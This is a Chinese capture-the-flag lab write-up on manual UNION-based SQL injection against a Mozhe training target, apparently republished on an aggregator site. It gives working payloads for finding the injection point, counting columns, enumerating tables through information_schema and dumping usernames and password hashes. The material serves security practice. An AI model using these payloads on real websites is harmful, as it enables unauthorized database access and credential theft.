SQL手工注入漏洞测试(MySQL数据库)

一、实验平台

https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

二、实验目标

获取到网站的KEY,并提交完成靶场。

三、实验步骤

①、启动靶机,进行访问查找可能存在注入的页面

②、通过测试判断注入点的位置(id=)

(1)、注入点的判断方式      and 1=1 页面正常        and 1=2 页面错误

(2)、可能存在注入,随意填写(说明id =1 后边有注入点)(拼写的语句是为了测试你写的语句有没有带入到数据库执行,有影响说明带入数据库查询,所以 说明有注入点。)

③、猜解列名数量(字段数)order by x (错误与正常的正常值)

通过测试4没错,5错误,说明列名数量为4

http://124.70.64.48:41613/new_list.php?id=-1 union select 1,2,3,4

④、信息收集获取网站的数据库版本、数据库名字等

数据库版本 version()     5.7.22-0ubuntu0.16.04.1(5.0以上高版本,)

数据库名字database()    mozhe_Discuz_StormGroup

数据库用户user()    root@localhost

操作系统@@version_compile_os      Linux

⑤、查询指定数据库名mozhe_Discuz_StormGroup下边第一个表名信息

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

⑥、查询指定表名下的列名信息(查询有哪些列名)

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

⑦、查询指定列名下数据:

union select 1,name,password,4 from StormGroup_member

这里我们得到一个用户名,还有一串数字,我们根据靶场提示,可知利用md5解密然后我们登录发现并不对,后来经过查找才知道上边的语句只显示第一行数据。

⑧、猜解多个数据可以采用limit x,1变动猜解(列名下的数据有多行时候可以变动猜解)

union select 1,name,password,4 from StormGroup_member  limit 0,1

union select 1,name,password,4 from StormGroup_member  limit 1,1

这里我们发现一个新的密码,然后解密试着登录一下 

⑨、果然利用第二种方法查找的密码是正确的,接下来我们将靶场拿下拿到我们所需要提交的KEY

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/577157.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PyTorch官网demo解读——第一个神经网络(3)

上一篇:PyTorch官网demo解读——第一个神经网络(2)-CSDN博客 上一篇文章我们讲解了第一个神经网络的模型,这一篇我们来聊聊梯度下降。 大佬说梯度下降是深度学习的灵魂;梯度是损失函数(代价函数&#xff…

简述一下微信小程序的路由概念

简述一下微信小程序的路由概念 不管是nodejs的express、koa,还是vue或者是react,包括小程序,这些应用框架中都包含了一个基本核心概念也就是路由所有应用框架中的路由都有共通性,主要包括:静态路由表、分配地址、统一入…

云渲染UE4像素流送搭建(winows、ubuntu)

windows/ubuntu20.4下UE4.27.2像素流送 像素流送技术可以将服务器端打包的虚幻引擎应用程序在客户端的浏览器上运行,用户可以通过浏览器操作虚幻引擎应用程序,客户端无需下载虚幻引擎,本文实现两台机器通过物理介质网线实现虚幻引擎应用程序…

智能优化算法应用:基于广义正态分布算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用:基于广义正态分布算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用:基于广义正态分布算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.广义正态分布算法4.实验参数设定…

QTableWidget 中加入 图标居中问题的解决

思路一:直接在QTabelWidget中加入 QTableWidgetItem ,设置 item 的 icon 问题:难以居中 思路二:在 QTableWidget 中 插入 QLabel ,把图标放到 QLabel 上 问题:存在点击图标困难的问题 思路三&#xff1a…

【序列化和反序列化】

🍁什么是序列化和反序列化? 🍁典型解析🍁拓展知识仓🍁如何进行序列化和反序列化🍁未实现Serializable,可以序列化吗? 🍁典型解析 在Java中,我们可以通过多种方式来创建对…

我的NPI项目之Android电源系列(四) -- 关于剩余充满时间的问题的代码跟踪-max1720x_battery.c qpnp-smb2.c

从我的NPI项目之Android电源系列(三), 能够看出,healthd是通过读取/sys/class/power_supply/battery/time_to_full_now而进行充满剩余时间的。 在/sys/class/power_supply/battery/...目录下有很多文件,具体内容如下: /sys/class…

详谈 springboot整合shiro

背景: 本章将进一步的落地实践学习,在springboot中如何去整合shrio,整个过程步骤有个清晰的了解。 利用Shiro进行登录认证主要步骤: 1. 添加依赖:首先,在pom.xml文件中添加Spring Boot和Shiro的相关依赖…

java接口限流详解

目录 1.简介1.1.为什么需要限流?1.2.限流和熔断有什么区别?1.3.限流和削峰有什么区别?1.4 缓存,降级,限流简介 2.应用级限流2.1 控制并发数量2.2 控制访问速率2.2.1 令牌桶算法2.2.2 漏桶算法 3.分布式限流4.交流群 1.简介 接口…

漏洞复现-红帆OA iorepsavexml.aspx文件上传漏洞(附漏洞检测脚本)

免责声明 文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的…

浅谈师范双非普本工科专业的秋招历程

本人普通师范院校通信工程专业,于秋招历程之中四处碰壁,迫于家庭等各种因素考虑,最终选择移动的偏远县城岗位的OFFER!本人秋招历程之中,屡屡碰壁,也算得上“收获满满”!我简单给各位浅谈一下我的…

气动冷凝水回收泵机械浮球泵的特点工作原理介绍 不需要电源

​ 1:气动凝水回收泵机械式介绍 气动冷凝水回收泵是一种设计用于不使用电力来泵送冷凝液、油和其他高温液体等的设备。它无需维护,能将大量凝结水和其它液体从低位、低压或真空场所泵送到高处及高压区域。与传统电泵相比,气动冷凝水回收泵可…

八股文打卡day10——计算机网络(10)

面试题:HTTP1.1和HTTP2.0的区别? 我的回答: 1.多路复用:HTTP1.1每次请求响应一次都得建立一次连接,HTTP1.1引入了持久连接Connection:Keep-Alive,可以建立一次连接,进行多次请求响…

cmake常见操作记录(持续更新)

cmake常见操作记录 通用1. 指定生成目录2. 指定宏3. 设置编译类型(Debug,Release) linuxwindwos1. windows下设置编译位数 通用 1. 指定生成目录 cmake -B build .2. 指定宏 SET(_COMPACT_ false CACHE BOOL "whether to compact.&qu…

放大电路的静态分析和动态分析例题

(一) (二) (三) (四) (五)

QT中,socket通讯要考虑哪些问题?(面试题)

在Qt中进行Socket通信时,需要考虑以下几个问题: 连接建立和断开:确保在客户端和服务器端之间能够正确地建立和断开连接,以便进行正常的数据传输。 数据传输格式:确定数据传输的格式,包括数据的编码方式、数…

Spring Boot学习随笔- 第一个Thymeleaf应用(基础语法th:,request、session作用域取值)

学习视频:【编程不良人】2021年SpringBoot最新最全教程 第十五章、Thymeleaf Thymeleaf是一种现代化的服务器端Java模板引擎,专门用于Web和独立环境。Thymeleaf在有网络和无网络的环境下皆可运行,即可以让美工在浏览器查看页面的静态效果&am…

34. 在排序数组中查找元素的第一个和最后一个位置

34. 在排序数组中查找元素的第一个和最后一个位置 题目链接&#xff1a;34. 在排序数组中查找元素的第一个和最后一个位置 代码如下&#xff1a; class Solution { public:vector<int> searchRange(vector<int>& nums, int target) {vector<int> range…

下载MySQL Connector/C++

MySQL :: Download Connector/C

MySQL 一个线程(或事务)在更新表时,另一个线程能否读取这个表

在MySQL中&#xff0c;一个线程&#xff08;或事务&#xff09;在更新表时&#xff0c;另一个线程能否读取这个表主要取决于两个因素&#xff1a;使用的事务隔离级别和锁的类型。MySQL默认使用行级锁&#xff0c;这意味着锁定的范围相对较小&#xff0c;通常不会锁定整个表。下…